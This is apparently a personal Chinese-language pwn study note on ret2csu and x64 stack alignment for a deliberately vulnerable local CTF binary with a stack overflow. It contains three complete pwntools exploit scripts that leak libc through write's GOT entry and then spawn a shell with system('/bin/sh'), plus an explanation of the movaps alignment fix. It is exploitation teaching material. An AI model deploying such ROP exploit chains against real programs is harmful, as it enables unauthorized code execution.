pwn入门-ret2csu+栈对齐

没有写system就一定没?除了system还有vmmap mproject orw int 0x80 syscall open read puts exevc malloc_ hook free_hook exit_hook….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int dofunc(){
char b[8] = {};
write(1,"input:",6);
read(0,b,0x100);
write(1,"bye",3);
return 0;
}

int main(){
dofunc();
return 0;
}

rdx为3,如何输出地址?先输前三个再输后几个

假设rdx为0

正常来说编译完肯定有_libc_csu_init函数,特点是连续pop了6个

image-20250106183137749

可以控制三个参数:

image-20250106184509058

image-20250106185727550

目的:为了控制三个参数

image-20250106190739060

image-20250106192058519

image-20250106192351922

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context(log_level='debug', arch='amd64', os='linux')

pwnfile = './question_5_plus_x64'
io = process(pwnfile)
elf = ELF(pwnfile)

padding = 0x10
leak_func_name = 'write'
leak_func_got = elf.got[leak_func_name]
return_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']

pop_rdi_ret = 0x4011fb
pop_rsi_r15_ret = 0x4011f9
ret_gadget = 0x4011fc # 添加 ret gadget

gdb.attach(io)

# 第一阶段: 泄露 write 地址
pop_rbx_addr = 0x4011F2
rbx = 0
rbp = 1
r12 = 1
r13 = leak_func_got
r14 = 6
r15 = elf.got['write']
mov_rdx_r14_addr = 0x4011D8

payload = b'a' * padding
payload += flat([pop_rbx_addr, rbx, rbp, r12, r13, r14, r15, mov_rdx_r14_addr])
payload += p64(0xdeadbeef) * 7 + p64(return_addr)

delimiter = 'input:'
io.sendlineafter(delimiter, payload)

io.recvuntil('bye')
write_addr = u64(io.recv(6).ljust(8, b'\x00'))
print('write_addr:', hex(write_addr))

# 手动计算 libc 基地址和 system, /bin/sh 地址
write_offset = 0x114870
libc_base = write_addr - write_offset
print('libc_base:', hex(libc_base))

system_offset = 0x50D70
system_addr = libc_base + system_offset
print('system_addr:', hex(system_addr))

binsh_offset = 0x1D8678
binsh_addr = libc_base + binsh_offset
print('binsh_addr:', hex(binsh_addr))

# 第二阶段: 调用 system("/bin/sh")
payload2 = b'a' * padding
payload2 += p64(ret_gadget) # 确保栈对齐
payload2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)

io.sendlineafter(delimiter, payload2)
pause()
io.interactive()

这里不是很懂 为什么是write的got表 而不是plt表

是call_func处,本质是通过 r15 寄存器控制调用目标地址,而 r15 指向的地址是一个指针

理解一下plt表和got表,got表再执行完write函数,存的是函数的实际地址,而plt存的是一个跳转函数,不能直接被call

如果将 r15 设为 write@plt,那么 call 会尝试把 write@plt 这个位置当作一个指针去解析,那就会崩

最大疑惑点应该是在ret2libc中为什么能用plt,而这用got

因为在这pop r15只是pop前面的几个pop也并非给它设置参数,真正的执行在call,需要函数地址

而在ret2libc中,是直接劫持了栈,并且前面pop也是在设置参数,那边也不能改成got,因为got只是个地址不会执行,需要被call

c语言字符串是指针地址:

image-20250106202123250

栈对齐一定要看,本题!!!!

下面是Exp的其它形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context(log_level='debug', arch='amd64', os='linux')

pwnfile = './question_5_plus_x64'
io = process(pwnfile)
elf = ELF(pwnfile)

padding = 0x10
leak_func_name = 'write'
leak_func_got = elf.got[leak_func_name]
return_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']

libc_file_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_file_path)

pop_rdi_ret = 0x4011fb
pop_rsi_r15_ret = 0x4011f9
ret_gadget = 0x4011fc # 添加 ret gadget

gdb.attach(io)

# 第一阶段: 泄露 write 地址
pop_rbx_addr = 0x4011F2
rbx = 0
rbp = 1
r12 = 1
r13 = leak_func_got
r14 = 6
r15 = elf.got['write']
mov_rdx_r14_addr = 0x4011D8

payload = b'a' * padding
payload += flat([pop_rbx_addr, rbx, rbp, r12, r13, r14, r15, mov_rdx_r14_addr])
payload += p64(0xdeadbeef) * 7 + p64(return_addr)

delimiter = 'input:'
io.sendlineafter(delimiter, payload)

io.recvuntil('bye')
write_addr = u64(io.recv(6).ljust(8, b'\x00'))
print('write_addr:', hex(write_addr))

# 手动计算 libc 基地址和 system, /bin/sh 地址
wirte_offset = libc.symbols['write']
libc_addr = write_addr - wirte_offset
print('libc_addr:',hex(libc_addr))

system_offset = libc.symbols['system']
system_addr = libc_addr + system_offset
print('system_addr:',hex(system_addr))

bin_sh_offset = next(libc.search(b'/bin/sh'))
bin_sh_addr = libc_addr + bin_sh_offset
print('bin_sh_addr:',hex(bin_sh_addr))

# 第二阶段: 调用 system("/bin/sh")
payload2 = b'a' * padding
payload2 += p64(ret_gadget) # 确保栈对齐
payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)

io.sendlineafter(delimiter, payload2)
io.interactive()

LibSearcher版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from LibcSearcher import LibcSearcher

context(log_level='debug', arch='amd64', os='linux')
pwnfile = './question_5_plus_x64'
io = process(pwnfile)
elf = ELF(pwnfile)

padding = 0x10
leak_func_name = 'write'
leak_func_got = elf.got[leak_func_name]
return_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']

pop_rdi_ret = 0x4011fb
pop_rsi_r15_ret = 0x4011f9
ret_gadget = 0x4011fc # 添加 ret gadget

gdb.attach(io)

# 第一阶段: 泄露 write 地址
pop_rbx_addr = 0x4011F2
rbx = 0
rbp = 1
r12 = 1
r13 = leak_func_got
r14 = 6
r15 = elf.got['write']
mov_rdx_r14_addr = 0x4011D8

payload = b'a' * padding
payload += flat([pop_rbx_addr, rbx, rbp, r12, r13, r14, r15, mov_rdx_r14_addr])
payload += p64(0xdeadbeef) * 7 + p64(return_addr)

delimiter = 'input:'
io.sendlineafter(delimiter, payload)

io.recvuntil('bye')
write_addr = u64(io.recv(6).ljust(8, b'\x00'))
print('write_addr:', hex(write_addr))

# 手动计算 libc 基地址和 system, /bin/sh 地址
libc = LibcSearcher('write', write_addr)
libc_addr = write_addr - libc.dump('write')
print('libc_base:', hex(libc_addr))

system_offset = libc.dump('system')
system_addr = libc_addr + system_offset
print('system_addr:',hex(system_addr))

bin_sh_offset = libc.dump('str_bin_sh')
bin_sh_addr = libc_addr + bin_sh_offset
print('bin_sh_addr:',hex(bin_sh_addr))

# 第二阶段: 调用 system("/bin/sh")
payload2 = b'a' * padding
payload2 += p64(ret_gadget) # 确保栈对齐
payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)

io.sendlineafter(delimiter, payload2)
io.interactive()

libcsearcher搜不到我的版本

栈对齐

参考:关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园

这个一直打不通,最后加了payload2 += p64(ret_gadget) # 确保栈对齐就能打通了

如果远程能跑,本地跑不了,第一时间先加栈对齐试试

64位ubuntu18以上系统调用system函数时是需要栈对齐的64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐,刚才的程序要是不加栈对齐,就运行如下所示:

image-20250106234857662

程序停在这ni不动了,查阅资料:当内存地址作为操作数时,内存地址必须对齐 16Byte32Byte64Byte 。这里所说的对齐 xByte,就是指地址必须是 x 的倍数。

因为64位程序的地址是8字节的,而十六进制又是满16就会进位,因此我们看到的栈地址末尾要么是0要么是8。

image-20250106235159216

只有当地址的末尾是0的时候,才算是与16字节对齐了,如果末尾是8的话,那就是没有对齐。而我们想要在ubuntu18以上的64位程序中执行system函数,必须要在执行system地址末尾是0。

如果执行了一个对栈地址的操作指令(比如pop,ret,push等等,但如果是mov这样的则不算对栈的操作指令),那么栈地址就会+8或是-8为使rsp对齐16字节,核心思想就是增加或减少栈内容,使rsp地址能相应的增加或减少8字节,这样就能够对齐16字节了。因为栈中地址都是以0或8结尾,0已经对齐16字节,因此只需要进行奇数次pop或push操作,就能把地址是8结尾的rsp变为0结尾,使其16字节对齐。

两种解决方法:

  1. 将system函数地址+1,**+1是为了跳过一条栈操作指令(目的就是跳过一条栈操作指令,使rsp十六字节对齐跳过一条指令,自然就是把8变成0了**)

    但又一个问题就是,本来+1是为了跳过一条栈操作指令,但是你也不知道下一条指令是不是栈操作指令,如果不是栈操作指令的话(你加一之后有可能正好是mov这种指令,也有可能人家指令是好几个字节,你加一之后也没有到下一个指令呢),+1也是徒劳的,要么就继续+1,一直加到遇见一条栈操作指令为止(看别的师傅说最大加16次就能成功,不过我不知道为啥)

    但在本题不适用,因为我们填的已经是system的地址了,+1就跳过了system了

    佬的博客截图:如果只是跳到func没到system的地方

    image-20250106235927768

  2. 在调用system函数地址之前去调用一个ret指令。因为本来现在是没有对齐的,那我现在直接执行一条对栈操作指令(ret指令等同于pop rip,该指令使得rsp+8,从而完成rsp16字节对齐),这样system地址所在的栈地址就是0结尾,从而完成了栈对齐。

    本题就是这个方法